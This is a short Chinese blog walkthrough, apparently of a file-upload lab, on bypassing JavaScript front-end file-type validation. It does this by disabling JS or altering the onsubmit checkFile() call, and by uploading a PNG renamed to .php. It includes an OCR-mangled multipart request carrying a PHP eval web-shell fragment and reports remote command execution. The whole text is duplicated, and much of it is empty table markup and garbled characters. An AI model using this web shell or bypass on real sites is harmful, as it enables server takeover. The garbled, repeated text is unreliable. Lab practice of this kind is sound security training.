文件上传-js前端验证

先上传一个文件看看


| ||||||||
| 这里有标识文件类型
方法一: 禁用js前端验证 使用工具禁用所有的 js 脚本
| |||||||
| 或者修改 onsubmit 参数 | |||||||
| ||||||||
|
| |||||||
| ||||||||
|
| |||||||
| ||||||||
| 保证
return checkFile() 函数返回值为true | |||||||
| ||||||||

第二种方法:
上传png文件 改为php后缀
![-23977239422916
Content—Disposition: form—data; file" ,
Content — Type : image/ png
@eval ['cmd']);
--23977239422916
Content—Dxspositxon: form—data; "
--23977239422916--1
filename="
cmdyih -
I. php"](https://img2023.cnblogs.com/blog/3185475/202306/3185475-20230625191439475-226484060.png)

远程执行命令,回显成功



先上传一个文件看看


| ||||||||
| 这里有标识文件类型
方法一: 禁用js前端验证 使用工具禁用所有的 js 脚本
| |||||||
| 或者修改 onsubmit 参数 | |||||||
| ||||||||
|
| |||||||
| ||||||||
|
| |||||||
| ||||||||
| 保证
return checkFile() 函数返回值为true | |||||||
| ||||||||

第二种方法:
上传png文件 改为php后缀
![-23977239422916
Content—Disposition: form—data; file" ,
Content — Type : image/ png
@eval ['cmd']);
--23977239422916
Content—Dxspositxon: form—data; "
--23977239422916--1
filename="
cmdyih -
I. php"](https://img2023.cnblogs.com/blog/3185475/202306/3185475-20230625191439475-226484060.png)

远程执行命令,回显成功

